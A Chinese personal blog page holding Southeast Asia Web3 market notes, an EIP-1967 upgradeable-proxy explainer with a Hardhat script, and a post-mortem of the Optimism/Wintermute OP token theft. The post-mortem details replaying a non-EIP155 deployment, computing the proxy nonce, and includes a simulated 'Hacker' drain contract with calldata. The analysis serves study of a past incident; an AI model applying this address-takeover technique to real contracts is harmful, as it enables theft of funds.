东南亚Web3调研

印度尼西亚

互联网的发展

  • 走近印尼:一个痴迷Web3.0的国家: https://36kr.com/p/1858243116275592
  • 印尼市场报告:机会飙升、社媒蓬勃、中小网红崛起,印尼或将进入数字十年: https://www.cifnews.com/article/122041
    • 据We Are Social数据显示,2022 年初,印度尼西亚的互联网用户达到 2.047 亿人,这个数据意味着,印尼的互联网用户比前一年增加了 210 万,互联网普及率为73.7%,成为东南亚互联网用户增长较快的地区之一。
    • 社交媒体用户的中位年龄为30.3岁。
    • 社交软件: Whatsapp, Youtube, Facebook, Instagram, Tiktok
  • 2022年东南亚电商数据报告: https://www.cifnews.com/article/132187
  • 2022年印度尼西亚移动互联网报告: http://www.199it.com/archives/1422699.html
    • 2021年,印尼的新应用下载量超过73亿次,比2019年大流行前的水平增长了33%。
    • 应用商店消费者支出自2019年以来增长了38%,到2021年超过每分钟1000美元。
    • 前20大视频流媒体应用的总访问时间为270亿小时,自2019年以来增长了93%,是全球增长率的3倍。
    • 热门应用包括YouTube、MX Player、Netflix、YouTube Kids 和Viu 等全球品牌. 另一个在印尼的总使用时长显著增长的类别是购物应用程序。
    • 自2019年以来,花在零售应用上的时间从20亿小时增加到2021年的近56亿小时,增长了180%。
    • 2021年,印尼的金融应用下载量超过3.82亿次,同比增长82%,自2018年以来增长185%。

e-Conomy SEA 2022

谷歌关于东南亚数字经济的研究报告-2022版

报告的几个关键点:

  • 东南亚主要的6个国家(越南、泰国、马来西亚、新加坡、印尼、菲律宾),总人口超6亿
  • 其中菲律宾越南在SaaS和Web3领域的增长最快
  • 东南亚的“数字10年”才刚刚起步,预计到2025年东南亚的数字经济规模将达到3000亿美元,预计到2030年数字经济规模将会超过6000亿美元
  • 城市中等收入人群中18~29岁的年轻人占比为11%, 城市高收入人群整体占比18%
  • 东南亚的数字经济规模达到2000亿美元,比预期提前3
  • 数字银行和Web3领域的投资的过去一年增长了1
  • SaaS和Web3是东南亚解决新的挑战的关键所在
  • 东南亚的SaaS、软件产业、Web3将在未来3~8年增长80%
  • 将Web3嵌入到现有的Web2平台是发展的趋势
  • 嵌入金融服务的SaaS解决方案是提升中小企业的数字化和专业化的关键
  • VC在Web3领域的投资在持续增加,以下是VC投资领域的占比:
    • 隐私和数字基础设施: 67%
    • DeFi: 57%
    • 区块链游戏: 37%
    • DAOs: 27%
    • 元宇宙: 27%
    • NFTs: 13%
  • 远程教育在疫情之后降温,投资者更多的转向SaaS和Web3领域

东南亚的Web3

  • 印尼在加密货币领域占比是最高, 占总人口的2.66%(约700万人), 交易金额超过250亿美元: https://techcollectivesea.com/2022/05/09/web3-in-southeast-asia/

  • 新加坡

  • 越南,超过20%越南人买加密货币

  • 菲律宾,国家承认加密货币

  • 越南拥抱web3:https://www.f6ex.com/archives/84164.html

  • https://meet.bnext.com.tw/articles/view/49354?

    • 東南亞也是全球最年輕、最具活力,最積極擁抱數位應用的地區,人口年齡中位數為30歲
    • 在東南亞近7億人口的大市場中,超過70%的民眾缺乏銀行服務(Underbanked)或無銀行帳號(Unbanked),這樣的條件,為DeFi、加密貨幣投資或資產管理提供了絕佳的發展條件,在提供給大眾的金融服務上,用戶將很輕易跳過傳統銀行直接進入Web3。
    • 在NFT的應用發展上,東南亞也居於領先地位,根據Statista統計,泰國擁有565萬名用戶、越南219萬名、印尼125萬名,分別位居全球第1、5、8名。
  • https://accesspath.com/tech/crypto-blockchain/5705430/

EIP1967-实现可升级智能合约

EIP1967-实现可升级智能合约

EIP1967实现可升级的合约(逻辑和数据存储分离)

https://eips.ethereum.org/EIPS/eip-1967

解决upgrade-safe
https://docs.openzeppelin.com/upgrades-plugins/1.x/faq#what-does-it-mean-for-a-contract-to-be-upgrade-safe

通过使用逻辑处理与存储分离的模式,来实现智能合约升级。

通过以下代码进行理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
contract Proxy {
mapping(address => uint) private balances; // 余额

address private impl;

function upgradeTo(address _addr) {
impl = _addr;
}

// 当调用的代理
fallback() external payable virtual {
_fallback();
}
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}


// 调用
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())

// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

// Copy the returned data.
returndatacopy(0, 0, returndatasize())

switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
}

部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

const { ethers, upgrades } = require("hardhat");

async function main() {

// acc = ethers.getSigners()
const [owner] = await ethers.getSigners();

// Deploying
const sbt = await ethers.getContractFactory("SBT");
const instance = await upgrades.deployProxy(
sbt,
[
"Soulbound Token",
"SBT",
owner.address,
],
{
initializer: "initialize",
kind: "transparent",
unsafeAllow: ['delegatecall'] // 遇到unsafe upgrade错误,可以强行使用
}
);

let ret = await instance.deployed();
console.log(ret)

// await upgradeProxy(proxyAddress, implementationFactory, { unsafeAllow: ['delegatecall'] });

// Upgrading
// const BoxV2 = await ethers.getContractFactory("BoxV2");
// const upgraded = await upgrades.upgradeProxy(instance.address, BoxV2);
}

main();

深度解析Optimism窃取事件

深度解析Optimism窃取事件

本文在这篇文章深度解析 Optimism窃取事件:Layer2 网络合约部署重放攻击加以梳理,并配有详细的示例代码,示例代码会放在github上。

起因

为了简化,就用甲方乙代替公司名吧。甲方(optimism)要乙方(Wintermute)帮忙搞事情,因为乙在layer1玩得很溜,甲方想在自己的layer2也玩起来。

于是,乙方爽快地答应了,给了一个收币地址给甲方说:“你忘这个地址上转币吧,其他事情我这边搞定。”甲方很开心地向乙方提供的收币地址转了2000万个OP币,乙方却说没有收到。一查才发现,乙方提供的是layer1的地址,而甲方转的是layer2的地址,虽然地址长得一样,但是此地址在layer2上尚未被创建(没有创建也可以转账进去)。

那该怎么办呢?两边的技术人员一看说,这是个黑洞地址,现在没有人能转走里面的币,只要操作一波是可以找回那些币的,不过现在是五一假期,大家都在夏威夷独家呢,过了五一节再说吧(开玩笑)。黑客可没有五一,立即行动,搞走了里面的币。甲乙双方尴尬了。

分析

黑客是做到的呢? 思路很简单,只要2步:

  • 在layer2上创建乙方的收币地址(是合约地址)
  • 搞到乙方的收币地址的所有权(控制权),因为地址是合约地址,而且是个proxy合约,即代理合约。
  • 转移资金

Layer1

  • Gnosis Safe Proxy Factory(以下统称合约A): 0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b
  • Wintermute proxy(以下统称合约B): 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81

其中合约A由此交易创建:https://etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261
这笔交易的发起地址是:0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a

合约B由此交易创建:https://etherscan.io/tx/0xd705178d68551a6a6f65ca74363264b32150857a26dd62c27f3f96b8ec69ca01#eventlog

这笔交易的发起者不重要,重要的是调用ProxyCreation传入的参数,0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b,这个地址就是合约A

Layer2

  • 合约地址A:0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b
  • 合约地址B:0x4f3a120e72c76c22ae802d129f599bfdbc31cb81

https://etherscan.io/txs?a=0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a

⭐ 第1步:如何在layer2创建处合约地址A?

因为layer1上创建合约A的交易,没有使用EIP155,所以可以,将此笔交易进行重放。

重放layer1上创建合约A的交易:https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261
,保证发送笔交易时nonce与layer创建合约A时一样即可。

如何重放? 可以使用RPC sendRawTransaction将交易data发到layer2链上即可,当然要保证账户有余额

⭐ 第2步:如何在layer2创建处合约地址B?

合约地址生成原理: Hash(caller, nonce_of_caller)

普通地址的nonce记录的交易次数,合约地址的nonce值是合约地址创建合约数量。nonce值可以以太坊的JSON RPC接口获取

例如获取当前的nonce值

1
2
3
4
5
6
7
8
9
10
11
12
13
curl https://mainnet.infura.io/v3/8a264f274fd94de48eb290d35db030ab \
-X POST \
-H "Content-Type: application/json" \
-d \
'{
"jsonrpc": "2.0",
"method": "eth_getTransactionCount",
"params": [
"0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b",
"latest"
],
"id": 1
}'

输出

1
{"jsonrpc":"2.0","id":1,"result":"0x89a7"}

其中,0x89a735239,黑客是不是要创建这么多合约呢?其实不用,因为layer1上的合约B是2020年创建的,那时候合约A的nonce肯定没有这么大。有没有什么办法可以获取到那笔创建合约B时,合约A的准确的nonce值呢?有的!etherscan就记录了state的转换:https://etherscan.io/tx/0xd705178d68551a6a6f65ca74363264b32150857a26dd62c27f3f96b8ec69ca01#statechange

nonce从8884增加到了8885,也就说,我们要得到的nonce值就是8884

当然也可以使用以下代码找到nonce值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const Web3 = require("web3");
const RLP = require("rlp");

const account = "0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b";

for (let nonce = 0; nonce < 0xffffffff; nonce++){
let e = RLP.encode([account, nonce] );
const nonceHash = Web3.utils.sha3(Buffer.from(e));
const targetAddress = '0x'+ nonceHash.substring(26)
if(targetAddress === '0x4f3a120e72c76c22ae802d129f599bfdbc31cb81') {
console.log(nonce)
break
}
}

输出结果是:8884

黑客创建了一个攻击合约(以下称作合约C):0xE7145dd6287AE53326347f3A6694fCf2954bcD8A

只要调用合约A不停地创建合约,当nonce与layer1创建合约B那笔交易的nonce相同,就可以在layer2创建出合约地址B。

黑客在layer2上创建合约B地址的交易log,在135位置:https://optimistic.etherscan.io/tx/0x00a3da68f0f6a69cb067f09c3f7e741a01636cbc27a84c603b468f65271d415b#eventlog

黑客是如何将合约B中的masterCopy设置为自己的攻击合约地址的?

在区块浏览器查不到合约B的构造参数,但是我们看合约A的代码 https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b#code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param masterCopy Address of master copy.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address masterCopy, bytes memory data)
public
returns (Proxy proxy)
{
proxy = new Proxy(masterCopy);
if (data.length > 0)
// solium-disable-next-line security/no-inline-assembly
assembly {
if eq(call(gas, proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) }
}
emit ProxyCreation(proxy);
}

只要在调用createProxy时将masterCopy设置为黑客自己的攻击合约地址即可,data为空,这样即可。

⭐ 第3步:如何转移合约B中的金额?

黑客转移合约B上的1000000个OP的交易:https://optimistic.etherscan.io/tx/0x230e17117986f0dc7259db824de1d00c6cf455c925c0c8c6b89bf0b6756a7b7e

查看内部交易:https://optimistic.etherscan.io/tx/0x230e17117986f0dc7259db824de1d00c6cf455c925c0c8c6b89bf0b6756a7b7e#internal

其中 0xE7145dd6287AE53326347f3A6694fCf2954bcD8A 就是黑客攻击合约

交易的inputData

1
0xad8d5f480000000000000000000000004200000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a9059cbb00000000000000000000000060b28637879b5a09d21b68040020ffbf7dba510700000000000000000000000000000000000000000000d3c21bcecceda100000000000000000000000000000000000000000000000000000000000000

其中 0xad8d5f48: 是exec(address,bytes,uint256)的签名

我们再看看layer1上合约B的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

contract Proxy {

// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;

/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}

/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, masterCopy)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
}

问题来了,并没有发现exec函数!这是怎么回事呢?

我们注意到,函数function () external payablefallback函数,也就是说当调用时没有匹配到函数时,会进入fallback函数。

因为masterCopy在创建合约B时,就已经设置为黑客自己的攻击合约地址0xE7145dd6287AE53326347f3A6694fCf2954bcD8A

如此一来,代码中的delegatecall调用黑客自己的攻击合约,然后在攻击合约中执行OP合约(0x4200000000000000000000000000000000000042)的ERC20的transfer操作,又因为使用的是delegatecallmsg.sender就是合约B的地址,即(0x4f3a120e72c76c22ae802d129f599bfdbc31cb81),所以,调用transfer时,扣除的msg.sender的OP代币余额,这样,就可以转移了OP代币。

我们再验证这个合约B的“转发”功能,

其中0x8da5cb5b是函数owner()的签名。合约B0x4f3a120e72c76c22ae802d129f599bfdbc31cb81将请求转发到黑客的攻击合约,如下图:

模拟转移代币

为了更加深入理解,我们编写一个测试合约,来模拟黑客转移代币的操作。

  • 我们把proxy的代码复制过来;
  • 然后编写一个Erc20合约模拟OP代币合约,秩序实现一个简单的transfer操作;
  • 再编写一个Hacker合约,模拟黑客的攻击合约

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
pragma solidity ^0.4.26;

contract Proxy {

address internal masterCopy;
constructor(address _masterCopy)
public
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}

/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, masterCopy)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
}


contract Erc20 {
address public sender;
// 为了方便查看结果,我们输出一个log
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address to, uint256 amount) external returns (bool) {
sender = msg.sender;
// 略,其他操作,从msg.sender余额扣除,增加to的余额
emit Transfer(msg.sender, to, amount);
return true;
}
}


contract Hacker {
event Ok(address,bytes,uint256);
event Failed(bool);

function exec(address addr, bytes data, uint256 amount) public payable returns(bool){
Erc20 erc20 = Erc20(addr);
address to = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
assembly {
to := mload(add(data,20)) // 将data转为地址
}
bool success = erc20.transfer(to, amount);
if(success) {
// 为了方便查看结果,我们输出一个log
emit Ok(addr, data, amount);
return true;
} else {
// 为了方便查看结果,我们输出一个log
emit Failed(false);
return false;
}
}

}

具体部署步骤:

  • 部署Erc20合约
  • 部署Hacker合约
  • 部署proxy合约,构造参数将masterCopy地址设置Hacker合约地址即可

为了获得proxy的调用data,我们这里先直接调用Hackerexec函数,这样就可以获得完整的input data

1
0xad8d5f4800000000000000000000000032f99155646d147b8a4846470b64a96dd9cba4140000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000115c000000000000000000000000000000000000000000000000000000000000001460b28637879b5a09d21b68040020ffbf7dba5107000000000000000000000000

我们将此input data 填入proxy的CALLDATA,就可以调用proxy的fallback函数,运行结果如下:

至此,我们这个分析流程结束。

总结

山外有山,人外有人。应该向黑客学习,学习他的好的一面,比如,技术方面、耐心。


示例代码链接:https://github.com/youngqqcn/optimism-attack-analysis

github非常有价值的项目1

PaddleOCR

Web-Dev-For-Beginners

full-blockchain-solidity-course-js

Deep-Learning-with-TensorFlow-book

HowToCook

ML-For-Beginners

  • Copyrights © 2021-2025 youngqqcn

请我喝杯咖啡吧~